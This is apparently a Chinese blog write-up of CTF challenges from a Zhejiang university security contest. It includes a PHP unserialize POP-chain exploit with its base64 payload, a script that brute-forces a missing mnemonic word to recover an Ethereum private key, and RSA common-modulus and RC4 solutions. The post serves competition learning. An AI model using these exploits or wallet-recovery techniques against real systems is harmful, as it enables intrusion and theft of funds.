mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4mobile wallpaper 5mobile wallpaper 6
753 字
2 分钟
第八届浙江省大学生网络与信息安全竞赛预赛
2025-11-08

[MISC]RecoverWallet#

eth助记词,缺失一项,BIP-39助记词共2048个,给出了地址后几位,暴力破解一下就可以。

from mnemonic import Mnemonic
from eth_account import Account
Account.enable_unaudited_hdwallet_features()
mnemo = Mnemonic("english")
known_words = ["ankle", "assume", "estate", "permit", None, "eye", "fancy", "spring", "demand", "dial", "awkward", "hole"]
with open("/Users/chao/miniconda3/lib/python3.13/site-packages/bip_utils/bip/bip39/wordlist/english.txt", "r") as f: # 受不了了啊,bip_utils不会用,直接读文件吧
wordlist = [w.strip() for w in f.readlines()]
for candidate in wordlist:
words = known_words.copy()
words[4] = candidate
mnemonic_phrase = " ".join(words)
if mnemo.check(mnemonic_phrase):
print(mnemonic_phrase)
account = Account.from_mnemonic(
mnemonic_phrase )
print("Private Key:", account.key.hex())
print("Address:", account.address)

然后

(base) TEST /Users/chao/miniconda3/bin/python /Users/chao/tmp/ctf/TEST/DAS/MISC/eth.py | grep 700f80
Address: 0x7E93E8Eeeee122aBF300904eBC446D31D8700f80

[WEB]EzSerialize#

php反序列化

<?php
// highlight_file(__FILE__);
// error_reporting(0);
// echo "<h2>炒鸡简单的反序列化</h2>";
// echo "<p>目标:通过构造反序列化数据读取flag</p>";
// echo "<hr>";
class User {
private $name;
private $role;
public function __construct($name, $role) {
$this->name = $name;
$this->role = $role;
}
public function __toString() {
return $this->role->getInfo();
}
}
class Admin {
public $command;
public function __construct($command) {
$this->command = $command;
}
public function __call($method, $args) {
if ($method === 'getInfo') {
return $this->command->execute();
}
return "Method $method not found";
}
}
class FileReader {
private $filename;
public function __construct($filename) {
$this->filename = $filename;
}
public function execute() {
// 危险操作:直接读取文件
if (file_exists($this->filename)) {
return "<pre>" . htmlspecialchars(file_get_contents($this->filename)) . "</pre>";
} else {
return "文件不存在: " . $this->filename;
}
}
}
if (isset($_GET['data'])) {
try {
echo "<h3>反序列化结果:</h3>";
$obj = unserialize(base64_decode($_GET['data']));
// 触发__toString方法
echo "输出结果: " . $obj;
} catch (Exception $e) {
echo "错误: " . $e->getMessage();
}
}
// 不知道flag文件名
$a = new Admin(new FileReader(''));
$a->command = new FileReader('flag.php'); // dirsearch扫出来
$data = base64_encode(serialize(new User('attacker', $a)));
echo $data;

payload如下:

?data=Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjg6ImF0dGFja2VyIjtzOjEwOiIAVXNlcgByb2xlIjtPOjU6IkFkbWluIjoxOntzOjc6ImNvbW1hbmQiO086MTA6IkZpbGVSZWFkZXIiOjE6e3M6MjA6IgBGaWxlUmVhZGVyAGZpbGVuYW1lIjtzOjg6ImZsYWcucGhwIjt9fX0=

[数据安全]dsEnData#

依照encode.py写解密脚本

import base64
import csv
def decode(encoded_data, K='a1a60171273e74a6'):
"""解密函数"""
try:
# 先base64解码
data_bytes = base64.b64decode(encoded_data)
res = b''
for i in range(len(data_bytes)):
c = K[i+1&15] # 同样的密钥循环逻辑
# 异或操作是可逆的,用同样的密钥再次异或就能还原
res += bytes([data_bytes[i] ^ ord(c)])
return res.decode('utf-8')
except Exception as e:
# 如果解密失败,返回原始数据并标记错误
return f"[DECODE_ERROR: {str(e)}] - {encoded_data}"
def decrypt_csv(input_file, output_file):
"""解密整个CSV文件"""
with open(input_file, 'r', encoding='utf-8') as infile, \
open(output_file, 'w', encoding='utf-8', newline='') as outfile:
reader = csv.reader(infile)
writer = csv.writer(outfile)
for row_num, row in enumerate(reader):
decrypted_row = []
for col_num, cell in enumerate(row):
try:
# 解密每个单元格
decrypted_cell = decode(cell)
decrypted_row.append(decrypted_cell)
except Exception as e:
print(f"解密第{row_num+1}行第{col_num+1}列时出错: {e}")
decrypted_row.append(f"[ERROR] {cell}")
writer.writerow(decrypted_row)
if __name__ == "__main__":
input_filename = "encoded_data.csv"
output_filename = "decrypted_data.csv"
decrypt_csv(input_filename, output_filename)

没有考虑表头,但手动改一下更快。

[数据安全]dssql#

import csv
import re
from datetime import datetime
class Validator:
def __init__(self):
self.id_weights = [7,9,10,5,8,4,2,1,6,3,7,9,10,5,8,4,2]
self.id_chars = ['1','0','X','9','8','7','6','5','4','3','2']
self.violation_rules = {
'客服': ['product_management','system_logs'],
'财务': ['user_management','product_management','system_logs'],
'商品经理': ['user_management','order_management','system_logs'],
'系统审计员': ['user_management','product_management','order_management']
}
def validate_name(self, name):
if not name or not isinstance(name, str):
return False
return 2 <= len(name) <= 4 and bool(re.match(r'^[\u4e00-\u9fa5]+$', name))
def validate_phone(self, phone):
if not phone or not isinstance(phone, str):
return False
return len(phone) == 11 and phone.isdigit() and phone.startswith('1') and phone[1] in '3456789'
def validate_id_card(self, id_card):
if not id_card or len(id_card) != 18 or not id_card[:17].isdigit():
return False
last_char = id_card[17].upper()
total = sum(int(id_card[i]) * self.id_weights[i] for i in range(17))
return last_char == self.id_chars[total % 11]
def validate_bank_card(self, card):
if not card or not card.isdigit() or len(card) < 16 or len(card) > 19:
return False
digits = [int(d) for d in card][::-1]
total = 0
for i, digit in enumerate(digits):
if i % 2 == 1:
doubled = digit * 2
total += doubled - 9 if doubled > 9 else doubled
else:
total += digit
return total % 10 == 0
def validate_reg_date(self, reg_date, id_card):
try:
reg_dt = datetime.strptime(reg_date, '%Y/%m/%d')
if reg_dt < datetime(2015,1,1) or reg_dt > datetime(2025,10,31):
return False
if id_card and self.validate_id_card(id_card):
birth_date_str = id_card[6:14]
birth_dt = datetime.strptime(birth_date_str, '%Y%m%d')
if reg_dt < birth_dt:
return False
return True
except:
return False
def check_operation(self, role, module):
return role not in self.violation_rules or module not in self.violation_rules[role]
def parse_sql_file(filename):
"""解析SQL文件,提取表数据"""
tables = {'users': [], 'operations': [], 'roles': []}
with open(filename, 'r', encoding='utf-8') as f:
content = f.read()
# 简化解析:直接匹配INSERT语句
for table_name in tables.keys():
pattern = rf"INSERT INTO `{table_name}` VALUES (.*?);"
matches = re.findall(pattern, content, re.DOTALL)
for match in matches:
# 分割多行INSERT
rows = re.findall(r'\((.*?)\)', match)
for row in rows:
# 简单分割,处理转义字符
values = []
current = ""
in_quote = False
escape_next = False
for char in row + ',':
if escape_next:
current += char
escape_next = False
elif char == '\\':
current += char
escape_next = True
elif char == "'":
in_quote = not in_quote
current += char
elif char == ',' and not in_quote:
values.append(current.strip())
current = ""
else:
current += char
# 清理值
cleaned_values = []
for val in values:
val = val.strip()
# 移除字符串引号
if val.startswith("'") and val.endswith("'"):
val = val[1:-1]
# 处理转义字符
val = val.replace("\\'", "'").replace('\\"', '"').replace('\\\\', '\\')
cleaned_values.append(val)
if cleaned_values:
tables[table_name].append(cleaned_values)
return tables
def debug_print_tables(tables):
"""调试函数:打印解析的数据"""
print("解析到的数据:")
for table_name, rows in tables.items():
print(f"\n{table_name} 表 ({len(rows)} 行):")
for i, row in enumerate(rows[:3]): # 只显示前3行
print(f" 第{i+1}行: {row}")
def main():
tables = parse_sql_file('data.sql')
# 调试:打印解析的数据
debug_print_tables(tables)
validator = Validator()
violations = {}
# 检查信息违规
print("\n信息违规检查:")
for user_data in tables['users']:
if len(user_data) >= 7:
user_id, name, phone, id_card, bank_card, reg_date, role = user_data[:7]
print(f"检查用户 {name}:")
print(f" 姓名验证: {validator.validate_name(name)}")
print(f" 手机号验证: {validator.validate_phone(phone)}")
print(f" 身份证验证: {validator.validate_id_card(id_card)}")
print(f" 银行卡验证: {validator.validate_bank_card(bank_card)}")
print(f" 注册日期验证: {validator.validate_reg_date(reg_date, id_card)}")
if not all([
validator.validate_name(name),
validator.validate_phone(phone),
validator.validate_id_card(id_card),
validator.validate_bank_card(bank_card),
validator.validate_reg_date(reg_date, id_card)
]):
violations.setdefault(name, set()).add('信息违规')
print(f" → 发现信息违规")
# 构建用户ID到姓名和角色的映射
user_id_to_name = {}
user_id_to_role = {}
for user_data in tables['users']:
if len(user_data) >= 7:
user_id, name, phone, id_card, bank_card, reg_date, role = user_data[:7]
user_id_to_name[user_id] = name
user_id_to_role[user_id] = role
# 检查操作违规
print("\n操作违规检查:")
for op_data in tables['operations']:
if len(op_data) >= 5:
op_id, user_id, op_type, op_module, timestamp = op_data[:5]
user_name = user_id_to_name.get(user_id)
user_role = user_id_to_role.get(user_id)
if user_name and user_role:
has_permission = validator.check_operation(user_role, op_module)
print(f"用户 {user_name}({user_role}) 操作 {op_module}: {'合规' if has_permission else '违规'}")
if not has_permission:
violations.setdefault(user_name, set()).add('操作违规')
# 输出CSV
print(f"\n总共发现 {len(violations)} 个用户有违规")
with open('violations.csv', 'w', newline='', encoding='utf-8') as f:
writer = csv.writer(f)
writer.writerow(['姓名', '违规类型'])
for name, types in violations.items():
for violation_type in types:
writer.writerow([name, violation_type])
print(f"记录违规: {name}, {violation_type}")
if __name__ == '__main__':
main()

[数据安全]7years(unfinished)#

用foremost提取ext4镜像。

foremost -i dasctf.dd
Processing: dasctf.dd |
foundat=data_part_1.txtUT
foundat=data_part_2.txtUT
foundat=data_part_3_CBC.txtUT

这三个txt都有很多乱码,发现第一个是base64编码的原始csv

赛后复盘,strings还扫出来一个1.png和data_part_4.txt,DiskGenuis可以恢复出来。实际上应该是三部分拼接而成,data_part_1.txt是base64,data_part_2、3是CBC加密(23应该是一起的吧,稍后有空研究),data_part_4.txt就是明文。我只处理了data_part_1.txt,结果始终24.9%,还一直在改py…

另外这题mount只有一个lost+found,还是空的;binwalk -e也报错。。。

[Crypto1]RSA_Common_Attack#

经典的RSA共模攻击,已知n,e1,e2,c1,c2。

RSA 加密过程: c1 = m^e1 (mod n) c2 = m^e2 (mod n)

因为 gcd(e1, e2) = 1,所以e1,e2满足线性关系:a · e1 + b · e2 = 1 (1) 可以使用扩展欧几里得算法计算得到。

将 (1) 两边同时取 m 的幂: m^(a·e1 + b·e2) = m^1 = m (mod n) (2)

将 (2) 与 c1、c2 对应: c1^a · c2^b = m (mod n) (3)

于是明文 m 可以通过下面的操作得到: m = (c1^a) · (c2^b) (mod n)

from Crypto.Util.number import *
from gmpy2 import *
n = 12184620342604321526236147921176689871260702807639258752158298414126076615130224253248632789995209263378074151299166903216279276546198828352880417707078853010887759267119069971739321905295081485027018480973993441393590030075971419165113599211569178425331802782763120185350392723844716582476742357944510728860535408085789317844446495987195735585533277358245562877243064161565448407188900804528695784565011073374273835326807616704068806996983861885772305191259029021518998160545972629938341341148477795894816345752396040127286263780418335699743896454197151019898505844519753453115300227481242993291336748858733029540609
e1 = 65537
e2 = 10001
c1 = 902947871638340144585350496607905036788917988784297938051712515029419473301205843372041904115813361402310512640716508455953201343091183980022416880886523265909139556951175072940441586166669057233430247014907124872576782948489940428513680356381769358116956570193102584168134758031000460513472898624075765670452482015562555449322262139576088011030490086784087285869959810062075648470122232452663599195404333292792928816934802064740144937473749408450501803510475933273448208685792400696632919950948832464784621694657179199125876564156360048730797653060931844444935302553732964065897065735427838601696506594726842758656
c2 = 7024079443689213821451191616762957236018704240049119768827190246286227366906772824421534943039282921384333899446122799252327963055365970065258371710141470872948613397123358914507497871585713222863470875497667604127210508840915183968145267083193773724382523920130152399270957943228022350279379887455019966651166356404967621474933206809521046480962602160962854745553005978607776790079518796651707745342923714121497001171456582586327982922261473553814594384196824815090185841526000247291514943042643385984600122463395695871306301585799490389353720773152762256126676456786420058282912965520064317739998211921049808590504
_,s1,s2 = gcdext(e1,e2)
m = pow(c1,s1,n)*pow(c2,s2,n)%n
print(long_to_bytes(m))
#flag:DASCTF{RSA_C0mm0n_M0dulus_Att4ck_1s_V3ry_P0w3rful_1nd33d}

[Crypto2]ez_stream#

看题目发现是流密码——RC4

它把密钥变成一串看似随机的字节,然后把明文的每个字节与keystream对应字节做 XOR,根据XOR的可逆性,同样的 keystream也可以用来解密。程序里把flag用”love“这个 4 字节键做 RC4 加密,得到了一串整数数组text。我们解密就需要重建同样的keystream。然后用它重新跑RC4的KSA + PRGA,得到前 19 个 keystream 字节,然后逐位 XOR,得到原始的flag。

RC4 有两大步骤:KSA与PR。 KSA 把 key 通过循环与 S 里的值混合,最终得到一个打乱的 S 数组。

PRGA 在已打乱的 S 上继续循环交换,产生一连串 keystream 字节。

由于 RC4 是对称的,加密和解密的代码完全相同,只是把plaintext换成ciphertext或反之即可。

def rc4_keystream(key, n):
S = list(range(256))
K = [ord(c) for c in key]
j = 0
for i in range(256):
j = (j + S[i] + K[i % len(K)]) & 0xFF
S[i], S[j] = S[j], S[i]
i = j = 0
out = []
for _ in range(n):
i = (i + 1) & 0xFF
j = (j + S[i]) & 0xFF
S[i], S[j] = S[j], S[i]
out.append(S[(S[i] + S[j]) & 0xFF])
return out
cipher = [164, 34, 242, 5, 234, 79, 16, 182, 136, 117,
78, 78, 71, 168, 72, 79, 53, 114, 117]
keystream = rc4_keystream('love', len(cipher))
plain_bytes = [c ^ k for c, k in zip(cipher, keystream)]
plain_text = bytes(plain_bytes).decode()
print(plain_text)
#flag:DASCTF{rc4_is_easy}

[Misc1] 什么密码#

下载附件得到一个压缩包,打开发现有一个加密的png文件,根据题目猜测可能是伪加密。所以直接用工具修改伪加密文件。

修改后得到一张图片,先拖进010看一下,拉到底发现一串字符

观察其结构想到可能是base64换表。接下来就是寻找被加密的文本了。用stegsolve分析一下,拉到最上面发现疑似密文的文本

最后解换表base64

flag:DASCTF{7779da53-d0f1-41d6-af3a-2fd9698d2ca5}

分享

如果这篇文章对你有帮助,欢迎分享给更多人!

第八届浙江省大学生网络与信息安全竞赛预赛
https://blog.chaomixian.top/posts/第八届浙江省大学生网络与信息安全竞赛预赛/
作者
炒米线
发布于
2025-11-08
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

目录